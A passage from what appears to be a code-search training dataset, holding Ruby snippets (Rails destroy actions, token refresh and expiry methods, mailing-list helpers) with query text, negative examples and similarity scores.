{}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\r\n @sivic_contcelula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_contcelulas_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete(path)\n request(:delete, path)\n end", "def destroy\n @sejour.destroy\n respond_to do |format|\n format.html { redirect_to sejours_url, notice: 'Sejour was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end", "def destroy\n @asociado = Asociado.find(params[:id])\n @asociado.destroy\n\n respond_to do |format|\n format.html { redirect_to asociados_url }\n format.json { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sitio_entrega = SitioEntrega.find(params[:id])\n @sitio_entrega.destroy\n\n respond_to do |format|\n format.html { redirect_to sitio_entregas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uchronia = Uchronia.find(params[:id])\n @uchronia.destroy\n\n respond_to do |format|\n format.html { redirect_to uchronias_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @soiree.destroy\n respond_to do |format|\n format.html { redirect_to soirees_url, notice: 'Votre évènement a bien été supprimé.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @servico_pacote.destroy\n respond_to do |format|\n format.html { redirect_to servico_pacotes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sotrudniki = Sotrudniki.find(params[:id])\n @sotrudniki.destroy\n\n respond_to do |format|\n format.html { redirect_to sotrudnikis_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @asiento = Asiento.find(params[:id])\n @asiento.destroy\n\n respond_to do |format|\n format.html { redirect_to asientos_url }\n format.json { head :ok }\n end\n end", "def destroy\n @sindicato.destroy\n respond_to do |format|\n format.html { redirect_to sindicatos_url, notice: 'Sindicato fue eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sinh_vien = SinhVien.find(params[:id])\n @sinh_vien.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @resa.destroy\n respond_to do |format|\n format.html { redirect_to resas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trein_consul_comercial.destroy\n respond_to do |format|\n format.html { redirect_to trein_consul_comercials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @simulado.destroy\n respond_to do |format|\n format.html { redirect_to simulados_url, notice: 'Simulado was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @solicitud.destroy\n respond_to do |format|\n format.html { redirect_to solicituds_url, notice: \"Solicitud was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @solicitud.destroy\n respond_to do |format|\n format.html { redirect_to solicituds_url, notice: 'Solicitud was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente.destroy\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @datos_estudiante.destroy\n respond_to do |format|\n format.html { redirect_to datos_estudiantes_url, notice: 'Datos estudiante was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @comisaria = Comisaria.find(params[:id])\n @comisaria.destroy\n\n respond_to do |format|\n format.html { redirect_to comisarias_url }\n format.json { head :no_content }\n end\n end", "def delete\n supprimer = SondageService.instance.supprimerSondage(params[:id])\n (supprimer) ? (render json: true, status: :ok) : (render json: false, status: :not_found)\nend", "def borrar \n\n fiesta.destroy\n render json: fiesta \n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @sivic_relatorioscelula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_relatorioscelulas_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @socio_serasa.destroy\n respond_to do |format|\n format.html { redirect_to socio_serasas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipoapreensao.destroy\n respond_to do |format|\n format.html { redirect_to tipoapreensoes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cliente = Cliente.find(params[:id])\n @cliente.destroy\n\n respond_to do |format|\n format.html { redirect_to clientes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @ativo_outro = AtivoOutro.find(params[:id])\n @ativo_outro.destroy\n\n respond_to do |format|\n format.html { redirect_to ativo_outros_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inventario_cosa.destroy\n respond_to do |format|\n format.html { redirect_to inventario_cosas_url, notice: 'Inventario cosa was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @nominee.destroy\n respond_to do |format|\n format.html { redirect_to nominees_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @sistemas_consejero.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sistemas_consejeros_url, notice: 'El nombre del consejero de ingeniería de sistemas se eliminó correctamente.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @socio.destroy\n respond_to do |format|\n format.html { redirect_to socios_url, notice: 'Socio removido com sucesso.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @curso.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\r\n @sivic_celula.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_celulas_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @veiculo.destroy\n respond_to do |format|\n format.html { redirect_to veiculos_url, notice: 'Veiculo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @solicitud_servicio = SolicitudServicio.find(params[:id])\n @solicitud_servicio.destroy\n\n respond_to do |format|\n format.html { redirect_to solicitudes_servicios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @usuario_seguidor.destroy\n respond_to do |format|\n format.html { redirect_to usuario_seguidores_url, notice: 'Usuario seguidor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @gasto = Gasto.find(params[:id])\n @gasto.destroy\n\n respond_to do |format|\n format.html { redirect_to gastos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @humanidades2 = Humanidades2.find(params[:id])\n @humanidades2.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades2s_url }\n format.json { head :no_content }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @encuesta1.destroy\n respond_to do |format|\n format.html { redirect_to encuesta1s_url, notice: 'Encuesta1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @documentos_simposio.destroy\n #respond_to do |format|\n # format.html { redirect_to documentos_simposios_url, notice: 'Documentos simposio was successfully destroyed.' }\n # format.json { head :no_content }\n #end\n end", "def destroy\n @sitemenu.destroy\n respond_to do |format|\n format.html { redirect_to sitemenus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @remito = Remito.find(params[:id])\n @remito.destroy\n\n respond_to do |format|\n format.html { redirect_to remitos_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.720422", "0.7118648", "0.7008624", "0.6993929", "0.69265574", "0.6917697", "0.69079643", "0.68915606", "0.6847051", "0.68271136", "0.68140906", "0.6796421", "0.6796282", "0.67833894", "0.677279", "0.67688805", "0.6766036", "0.6758755", "0.6756106", "0.67548496", "0.67516357", "0.67513555", "0.67501277", "0.6745062", "0.674168", "0.67400855", "0.6739027", "0.67353576", "0.67324114", "0.6722021", "0.67214084", "0.6717256", "0.6717256", "0.6716893", "0.67122877", "0.6705343", "0.6696762", "0.66925776", "0.66883427", "0.6683117", "0.6682577", "0.66791815", "0.6678859", "0.6678085", "0.66771", "0.6675315", "0.667257", "0.6670841", "0.66688347", "0.6668253", "0.66679907", "0.6663351", "0.6659799", "0.66559863", "0.6654301", "0.6653644", "0.66528183", "0.6651337", "0.6646981", "0.66445655", "0.6644163", "0.6642939", "0.6641864", "0.6641344", "0.6638719", "0.66367537", "0.663532", "0.6633742", "0.66278195", "0.662516", "0.6616999", "0.66153103", "0.66138446", "0.6613135", "0.6613135", "0.6613135", "0.6610729", "0.6609742", "0.6608298", "0.6601696", "0.6601333", "0.6600009", "0.65997994", "0.6599684", "0.659837", "0.6597965", "0.65977913", "0.6597022", "0.6596694", "0.6596301", "0.65928805", "0.65921867", "0.6591303", "0.6591303", "0.6591303", "0.6591303", "0.6590804", "0.6589731", "0.6589165", "0.65888864" ]
0.7357167
0
Refreshes this token by a given amount of time but does NOT persist to the database.
def refresh(amount: 30.minutes) self[:expires_at] = expires_at + amount end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def refresh_time\n self.update_column( :expires, Time.zone.now + TOKEN_LIFE )\n end", "def refreshToken\n # is there a token? (and is it's timestamp not older than 24h?)\n if @token.nil? or @tokenTimeStamp < Time.now - 86400\n @token = getToken(@email,@password)\n @tokenTimeStamp = Time.now\n end\n end", "def refresh_access_token\n self.expires_at = Time.now + 3600 \n save\n end", "def update_token(token)\n DB[:Token].where(Token: token).update(Timestamp: Time.now.to_i + 600)\n end", "def expire!\n token = nil\n save!\n end", "def refresh!\n refresh_expiry\n save!\n end", "def retract(time)\n self.expires_on -= time\n self\n end", "def refresh_token\n get_comm_token if Time.now.to_i - @comm_token_ttl > TOKEN_TTL\n end", "def refresh_token\n get_comm_token if Time.now.to_i - @comm_token_ttl > TOKEN_TTL\n end", "def refresh_expiry\n self.expires_at = Time.now + ttl\n end", "def refresh_token_if_needed\n token_timestamp = decoded_jwt['exp']\n current_timestamp = DateTime.now.to_i\n return unless token_timestamp - current_timestamp <= 0\n\n refresh_token\n end", "def refresh!(params={})\n @token = token.refresh!(params)\n end", "def refresh_access_token()\n\n\t\tif(Time.now - @start_time) >=3000\n\t\t\tputs \"Access Token Expired .......Creating a new one\"\n\t\t\t@access_token = @new_token.get_access_token\n\t\t\t@start_time = Time.now\n\t\tend\n\tend", "def expire_tokens!\n update_tokens(nil)\n end", "def reset\n self.update_attribute(:refresh_at, 1.years.ago)\n end", "def expire!\n self.last_retrieved = Time.mktime(1970).gmtime\n self.save\n end", "def refresh_token\n if remember_token?\n self.remember_token = self.class.make_token\n save(false)\n end\n end", "def start_expiry_period!\n self.update_attribute(:access_token_expires_at, 2.days.from_now)\n end", "def refresh_access_token\n new_token = FireCloudClient.generate_access_token(self.service_account_credentials)\n new_expiry = Time.zone.now + new_token['expires_in']\n self.access_token = new_token\n self.expires_at = new_expiry\n new_token\n end", "def token\n refresh_token! if token_expired?\n super\n end", "def expire\n update_attribute :expires_at, 1.minute.ago\n end", "def refresh_token\n if remember_token?\n self.remember_token = self.class.make_token \n save(false) \n end\n end", "def refresh_access_token!\n self.save! if refresh_access_token\n end", "def refresh_auth_token\n generate_token(:auth_token)\n save!\n end", "def start_expiry_period!\n self.update_attribute(:access_token_expires_at, Time.now + Devise.timeout_in)\n end", "def renew\n req_body = { grant_type: 'refresh_token', refresh_token: @token.refresh_token }\n\n response = JSON.parse(request_token(req_body).body)\n\n @token.update!(response['access_token'], response['expires_in'], response['refresh_token'])\n\n save\n rescue StandardError => e\n puts \"Unable to refresh token\\n#{e.message}\"\n end", "def revoke!\n self.class.transaction do\n update_attribute :revoked, Time.now\n client.increment! :tokens_revoked\n end\n end", "def refresh_token\n if remember_token?\n self.remember_token = self.class.create_token\n save(:validate => false)\n end\n end", "def invalidate_token\n update_attribute(:token, nil)\n update_attribute(:token_created_at, Time.now)\n end", "def refresh_token\n if remember_token?\n self.remember_token = make_token \n save(:validate => false) \n end\n end", "def set_token_expires_at\n self.token_expires_at = 3600.seconds.from_now\n end", "def refreshed!(body)\n @access_token = body[:access_token]\n @expires_at = Time.now + body[:expires_in]\n end", "def token_refresh!\n self.access_token = access_token.refresh!\n end", "def revoke!\n self[:revoked] = Time.now\n save\n Client[client_id].token_revoked\n end", "def create_or_renew_token()\n calculate_expiry_time()\n end", "def maybe_reauthenticate\n if @keystone_token_expiration < Time.now + 2*@timeout\n @logger.info \"Permanent token will expire soon. Re-authenticating...\"\n authenticate\n end\n end", "def fresh_token\n refresh! if expired?\n access_token\n end", "def initialize(token)\n @token = token\n if Time.now.to_i > @token.get_info['token_expiry']\n self.refresh\n end\n end", "def renew_token\n body_params = token_request_body\n body_params << [\"refresh_token\", current_user.refresh_token]\n body_params << [\"grant_type\", \"refresh_token\"]\n\n get_token(body_params)\n redirect_to sage_accounting_data_path\n end", "def refresh_token\n return if token\n refresh_token!\n end", "def expire\n self.expires_on = DateTime.current\n self\n end", "def extend(time)\n self.expires_on += time\n self\n end", "def expire!\n\t\tself.expires = Time.at(0)\n\tend", "def refresh\n begin\n oauth_attrs = source.create(params: refresh_token_params)\n oauth_attrs.each do |attr, value|\n send(\"#{attr}=\", value)\n end\n rescue My::Oauth::Unauthorized => e\n errors << 'Error refreshing token'\n end\n self\n end", "def refresh_token\n self.generate_token\n end", "def refresh_token!\n create_token = Kickit::API::CreateToken.new\n resp = create_token.execute(:username => username,\n :developerKey => Kickit::Config.developerKey)\n @token = resp\n end", "def update_token\n\trequire 'date'\n\ttil = Time.at(settings.exp) - Time.now\n\tleft = (til/60).to_i\n\tp left\n\tif left < 5\n\t\tres = RestClient.post( \"https://auth.exacttargetapis.com/v1/requestToken\",\n\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t:clientId => settings.clientId,\n\t\t\t\t\t\t\t\t:clientSecret => settings.clientSecret,\n\t\t\t\t\t\t\t\t:refreshToken => settings.refreshToken,\n\t\t\t\t\t\t\t\t:accessType => \"offline\"\n\t\t\t\t\t\t\t })\n\t\t@res = JSON.parse(res)\n\t\tsettings.oauthToken = @res[\"accessToken\"]\n\t\tsettings.exp = Time.now + @res[\"expiresIn\"]\n\t\tsettings.refreshToken = @res[\"refreshToken\"]\n\tend\t\nend", "def expire!\n @monitor.synchronize do\n check_expired(Time.now.to_f)\n self\n end\n end", "def refresh_token\n @token = @authenticator.refresh_token\n end", "def fresh_token\n refresh! if token_expired?\n access_token\n end", "def refresh_session\n self.update_attributes(session_expires_in: 30.days.from_now)\n end", "def revoke!\n return if revoked?\n update(revoked_at: Time.now)\n tokens.update_all(revoked_at: Time.now, updated_at: Time.now)\n end", "def refresh_session\n self.with_lock(timeout: 60, retries: 120, retry_sleep: 0.5) do\n if self.token_expires_at <= 10.seconds.from_now\n begin\n session.refresh_tokens\n self.refresh_token = session.refresh_token\n self.access_token = session.access_token\n self.token_expires_at = session.expires_at\n self.save\n rescue ExactOnlineLib::Api::Sdk::AuthError\n @session = nil\n end\n else\n @session = nil\n end\n @client = nil\n end\n end", "def refresh!\n now = Time.now\n raise RefreshTokenExpired if refresh_token_expires_at&.<= now\n\n data = refresh_token_request!\n\n @access_token = data[\"access_token\"]\n @access_token_expires_at = (now + data[\"expires_in\"])\n\n on_refresh&.call(@access_token, @access_token_expires_at)\n end", "def refresh_oauth2_token!\n ensure_oauth2_token(true)\n save!\n end", "def regenerate_token\n self.auth_token = nil\n generate_token\n save!\n end", "def expire_time\n updated_at.advance(:days => 30)\n end", "def expire!\n headers['Age'] = max_age.to_s if fresh?\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def revoke!\n self.revoked = Time.now.to_i\n AccessToken.collection.update({ :_id=>token }, { :$set=>{ :revoked=>revoked } })\n Client.collection.update({ :_id=>client_id }, { :$inc=>{ :tokens_revoked=>1 } })\n end", "def expire!\n update_config 'expired' => true\n end", "def invalidate_token(user)\n user.renew_token\n user.save\n end", "def refresh_rates_expiration!\n @rates_expiration = Time.now + ttl_in_seconds\n end", "def refresh_rates_expiration!\n @rates_expiration = Time.now + ttl_in_seconds\n end", "def refresh_rates_expiration!\n @rates_expiration = Time.now + ttl_in_seconds\n end", "def refresh_rates_expiration!\n @rates_expiration = Time.now + ttl_in_seconds\n end", "def reset_token\n set_new_token\n save!\n temporary_token\n end", "def simulate_expire; end", "def refresh\n new_token = EsdlSuiteService.setup.refresh(to_access_token)\n return delete if new_token.empty?\n\n update(new_token)\n end", "def refresh_token\n @agent.shutdown\n @agent = Mechanize.new\n\n get_token\n set_headers\n end", "def flush_by_token(token)\n uid = token_uid(token, :refresh, @refresh_claims)\n flush_by_uid(uid)\n end", "def refresh_rates_expiration!\n @rates_expiration = Time.now + ttl_in_seconds\n end", "def expire!\n expire_faults!\n expire_perfs!\n end", "def regenerate_auth_token!\n generate_auth_token\n set_auth_token_expiry\n\n save\n end", "def autoexpire\n redis.expire(key, timespan)\n end", "def refresh_token\n authorize current_user\n original = current_user.api_token\n current_user.generate_token!\n @success = current_user.api_token != original\n end", "def regenerate\n self.token = UUIDTools::UUID.random_create.to_s\n reset_timer\n self.token\n end", "def access_token\n refresh! if access_token_expires_at&.<= Time.now + 60 # time drift margin\n @access_token\n end", "def refresh!\n self.update_attributes(:last_logged => Time.now)\n end", "def refresh_tokens\n @token = @token.refresh!\n tokens\n end", "def fb_access_token_expired\n self.access_token = nil\n save!\n end", "def invalidate_token\n self.update_columns(auth_token: nil)\n end", "def refresh_expiration\n self.needs_new_cookie = true\n end", "def refresh_expiration\n self.needs_new_cookie = true\n end", "def flush_expired\n if gc_last && gc_time && gc_last+gc_time <= Time.now\n flush_expired!\n end\n end", "def invalidate_token \n self.update_columns(auth_token: nil)\n end", "def refresh_from_store\n ext_token = store.read\n raise \"Cannot refresh token : Unable to read store data\" if !ext_token&.is_a?(Hash) || ext_token.empty?\n client.update_token!(ext_token)\n end", "def refresh_token\n end", "def invalidate_token\n \tupdate_columns(token: '')\n \ttouch(:token_created_at)\n \tend", "def refresh!\n with_lock do\n update_counters!\n send_email_if_needed!\n save!\n end\n self # for chaining\n end", "def set_auth_token_expiry\n self.auth_token_expires_at = (Time.zone.now + 30.days)\n end", "def regenerate_auth_token\n self.auth_token = nil\n generate_token\n save!\n end", "def regenerate_auth_token\n self.auth_token = nil\n generate_token\n save!\n end", "def refresh_token\n @connection.refresh_token\n end", "def refresh_token\n return nil unless (temp_refresh_token = read_attribute(:refresh_token))\n # logger.debug2 \"temp_refresh_token = #{temp_refresh_token}\"\n encrypt_remove_pre_and_postfix(temp_refresh_token, 'refresh_token', 45)\n end", "def refresh_token\n return nil unless (temp_refresh_token = read_attribute(:refresh_token))\n # logger.debug2 \"temp_refresh_token = #{temp_refresh_token}\"\n encrypt_remove_pre_and_postfix(temp_refresh_token, 'refresh_token', 45)\n end", "def refresh_token\n raise NotImplementedError\n end", "def refresh_token\n @refresh_token ||= nil\n end", "def refresh! options = {}\n fetch_access_token! options\n end", "def reset_limit key, limit , time\n redis.set key , 1\n redis.expire key, time\n end" ]
[ "0.7565451", "0.7031154", "0.69424987", "0.69344395", "0.69091016", "0.6877784", "0.67836374", "0.6770714", "0.6770714", "0.67509377", "0.6707301", "0.6679899", "0.6678762", "0.6672337", "0.66311055", "0.65461546", "0.65374017", "0.65230995", "0.6516999", "0.6508416", "0.65056825", "0.6501683", "0.6445964", "0.64283204", "0.64248747", "0.6421604", "0.6397739", "0.6357243", "0.6356947", "0.63363534", "0.6326576", "0.6286715", "0.6284002", "0.62781966", "0.6273175", "0.6251493", "0.6228673", "0.62204385", "0.62200683", "0.6203633", "0.62000394", "0.6174859", "0.6171696", "0.6159128", "0.6156628", "0.61418897", "0.61187553", "0.61171013", "0.6096243", "0.60939926", "0.60786724", "0.60749173", "0.607305", "0.60714793", "0.60639393", "0.6059331", "0.60576123", "0.60507715", "0.6048496", "0.6048496", "0.604139", "0.6032939", "0.6031508", "0.6031508", "0.6031508", "0.6031508", "0.6029665", "0.6028576", "0.6022556", "0.6006961", "0.60064423", "0.60043496", "0.59889215", "0.5987504", "0.5980604", "0.5938452", "0.5884563", "0.58823335", "0.5870946", "0.58675444", "0.58553797", "0.58544606", "0.58515173", "0.58515173", "0.5841159", "0.5834027", "0.5819505", "0.58051383", "0.58039546", "0.5799412", "0.57943386", "0.57846", "0.57846", "0.5784148", "0.5783428", "0.5783428", "0.5779273", "0.5778408", "0.57742983", "0.57648504" ]
0.71612984
1
list_id campaign_id subject message content_id content_url to_name from_name
def send(options) @client.get_request('/cm/list.send', options) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def make_mailchimp_list(from_name, from_email, event)\n Person.roles.keys.each_with_index do |role, index|\n if index == 0 \n participant_ids = []\n Participant.statuses.keys.each do |s|\n response = gibbon.lists.create(make_mailchimp_hash(from_name, from_email, event, role, s))\n participant_ids << response['id']\n end\n event.mailchimp_ids << participant_ids.join(',')\n else\n response = gibbon.lists.create(make_mailchimp_hash(from_name, from_email, event, role))\n event.mailchimp_ids << response['id']\n end\n end\n end", "def select_activity_for_mail(list, cli)\n if !(list.instance_of? Project) && !(list.instance_of? Milestone) && !(list.instance_of? Form) && !(list.instance_of? Client) && !(list.instance_of? Contact)\n if list.user.type != \"Contact\"\n utag = '<p><strong>'+list.user.name+'</strong> '\n else\n utag = '<p><strong>'+list.user.name+'</strong> (<a href=\"/clients/'+list.user.client.id.to_s+'\" class=\"clientLink\">'+list.user.client.name+'</a>) '\n end\n end\n\t\tif list.updated_at.day == Date.current.day\n\t\t\tto_print = \"Hoy \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\telse\n\t\t\tif list.updated_at.day + 1 == Date.current.day\n\t\t\t\tto_print = \"Ayer \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\t\telse\n\t\t\t\tto_print = list.updated_at.strftime(\"%b %d\").to_s\n\t\t\tend\n\t\tend\n\t\tif (list.instance_of? Mood)\n\t\t\tif list.mood == \"Happy\"\n \tfacemood = \" \" + I18n.t('mood.happy') + \" \"\n \telsif list.mood == \"Satisfied\"\n \t\tfacemood = \" \" + I18n.t('mood.satisfied') + \" \"\n \telsif list.mood == \"Neutral\"\n \t\tfacemood = \" \" + I18n.t('mood.neutral') + \" \"\n \telsif list.mood == \"Sad\"\n \t\tfacemood = \" \" + I18n.t('mood.sad') + \" \"\n \telse\n \t\tfacemood = \" \" + I18n.t('mood.angry') + \" \"\n end\n\t\tend\n\t\tif list.updated_at > 7.days.ago\n\t\t\tif list.updated_at == list.created_at\n\t\t\t\tif (list.instance_of? Comment) && (cli.projects.find_by_id(list.content.project.id.to_s))\n\t\t\t\t\t@was_activity = true\n\t\t\t\t\trender :inline => utag+t('comment.cup')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Content) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => utag+t('content.cup')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Mood) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => utag+t('mood.cup')+ facemood + t('mood.oncup') + ' ' + '<a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p>'\n\t \telsif (list.instance_of? Project) && (cli.projects.find_by_id(list.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('project.pup')+ ' <a href=\"/projects/'+list.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Milestone) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('milestone.mup')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Client) && (list.id == cli.id)\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('client.cup')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Contact) && (list.client.id == cli.id)\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('contact.cup')+' <strong>'+list.name + ' </strong>' + t('contact.toc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \tend\n\t else\n\t\t if (list.instance_of? Client) && (list.id == cli.id)\n\t\t \t@was_activity = true\n\t\t \trender :inline => t('client.cmod')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t\t \tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t\t\t\telsif (list.instance_of? Contact) && (cli.contacts.find(list.id))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('contact.cmod')+' <strong>'+list.name + ' </strong>' + t('contact.ctoc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Milestone) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => t('milestone.mmod')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Content) && (cli.projects.find_by_id(list.project.id.to_s))\n\t \t\t@was_activity = true\n\t \t\trender :inline => utag+t('content.cmod')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \telsif (list.instance_of? Comment) && (cli.projects.find_by_id(list.content.project.id.to_s))\n\t\t\t\t\t@was_activity = true\n\t\t\t\t\trender :inline => utag+t('comment.cmod')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activityDate\">- ' + to_print + '</p><br>'\n\t \tend\n\t\t\tend\n\t\tend\n end", "def list\n @client.call(method: :get, path: 'recipient-lists')\n end", "def mandrill_to\n if to\n to.each_with_index.map do |value,index|\n {\n 'email' => value,\n 'name' => self[:to].display_names[index]\n }\n end\n else\n []\n end\n end", "def list\n @mailing_list.contacts(limit: 10000).map{|contact| contact.email}\n end", "def subscribe_to_list(list_id, email, name)\n begin\n @mc.lists.subscribe(list_id, { email: email}, merge_vars: { FIRSTNAME: name, STATUS: 'Subscribed' })\n flash[:success] = 'To complete the subscription process, please click the link in the email we just sent you.'\n rescue Mailchimp::ListAlreadySubscribedError\n flash[:warning] = \"#{email} is already subscribed to the list\"\n rescue Mailchimp::ListDoesNotExistError\n flash[:error] = \"The list could not be found\"\n rescue Mailchimp::Error => ex\n if ex.message\n flash[:warning] = ex.message\n else\n flash[:warning] = \"An unknown error occurred\"\n end\n end\n end", "def recipients_list\n to.split(/\\s*,\\s*/)\n end", "def announce_list(listname,domain)\n doc = request(\"announcement_list-list_subscribers\",{ \"listname\" => listname, \"domain\" => domain})\n api_error?(doc)\n (doc/:data).inject([]) { |subs, sub| subs << Subscriber.new_from_xml(sub); subs }\n end", "def email_list\n end", "def mailing\n gb = Gibbon.new\n @lists = Hash.new\n for i in 1..gb.lists['total'] do\n list_id = gb.lists['data'][i - 1]['id']\n name = gb.lists['data'][i - 1]['name']\n @lists[name] = []\n members = gb.list_members({:id => list_id})\n members['data'].map { |m| @lists[name].push(m['email']) }\n end\n end", "def mcget_list_menbers(list_id)\n # 82dfd7f973, a38ec3df9c\n begin\n lists_res = setup_mcapi.lists.list({'list_id' => list_id})\n @list = lists_res['data'][0]\n members_res = setup_mcapi.lists.members(list_id)\n @members = members_res['data']\n rescue Mailchimp::ListDoesNotExistError\n flash[:error] = \"The list could not be found\"\n redirect_to \"/lists/\"\n rescue Mailchimp::Error => ex\n if ex.message\n flash[:error] = ex.message\n else\n flash[:error] = \"An unknown error occurred\"\n end\n redirect_to \"/lists/\"\n end\n end", "def subscribe_to_lists(list_names, email)\n walk_recipients(list_names, email) do |lr, list_id, contact_id|\n if lr.nil?\n ::Mailjet::Listrecipient.create(list_id: list_id, contact_id: contact_id, is_unsubscribed: 'false')\n elsif lr.is_unsubscribed\n lr.update_attributes(is_unsubscribed: 'false', unsubscribed_at: nil)\n end\n end\n rescue ::Mailjet::ApiError\n # ignore\n end", "def list(to:, date_sent:)\n raise 'to must be a String' unless to.is_a?(String)\n #TODO: Check that date_sent matches expected format.\n # (If date_sent is a string without the expected format, the start date\n # will be something like 